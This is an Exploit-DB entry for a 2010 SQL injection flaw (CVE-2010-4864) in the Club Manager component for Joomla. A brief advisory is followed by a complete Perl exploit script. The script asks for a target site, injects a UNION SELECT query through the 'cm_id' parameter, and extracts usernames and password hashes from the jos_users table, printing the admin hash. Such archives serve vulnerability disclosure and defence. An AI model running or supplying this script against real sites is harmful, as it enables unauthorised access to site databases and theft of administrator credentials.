Joomla Club Manager Component - 'cm_id' Parameter SQL Injection Vulnerability

2010-10-06T00:00:00
ID EDB-ID:34820
Type exploitdb
Reporter FL0RiX
Modified 2010-10-06T00:00:00

Description

Joomla Club Manager Component 'cm_id' Parameter SQL Injection Vulnerability. CVE-2010-4864. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/43821/info

The Club Manager component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl -w

########################################
#[~] Author : Fl0riX
#[!] Script Name: Joomla com_clubmanager
########################################
print "\t\t                                                              \n\n";
print "\t\t        Fl0rix | Bug Researchers                              \n\n";
print "\t\t                                                              \n\n";
print "\t\t Joomla com_clubmanager Remote SQL Injection Exploit   \n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$florix="concat(username,0x3a,password)";
$sakkure="jos_users";
$com="com_clubmanager";
$cw="+UNION+SELECT+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=".$com."&tabla=equip&task=presenta&cm_id=284".$cw."1,".$florix.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from/**/".$sakkure."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Baba Buyuksun bea Bu is bu kadar xD #\n\n";
}
else{print "\n[-] Malesef Olmadi Aga bir dahaki sefere\n";
}